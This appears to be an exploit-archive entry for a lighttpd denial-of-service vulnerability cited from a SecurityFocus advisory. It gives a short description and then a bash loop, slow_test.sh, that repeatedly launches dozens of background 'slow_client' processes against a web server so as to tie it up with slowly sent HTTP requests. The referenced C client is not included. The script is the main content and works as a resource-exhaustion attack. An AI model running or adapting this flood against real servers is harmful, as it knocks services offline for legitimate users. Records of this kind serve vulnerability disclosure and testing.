source: http://www.securityfocus.com/bid/38036/info The 'lighttpd' webserver is prone to a denial-of-service vulnerability. Remote attackers can exploit this issue to cause the application to hang, denying service to legitimate users. ##slow_test.sh for ((j=0;j<1000;j++)) do for ((i=0; i<50; i++)) do ## slow_client is a C program which sends a HTTP request very slowly ./slow_client http://www.example.com/>/dev/null 2>/dev/null & done& sleep 3 done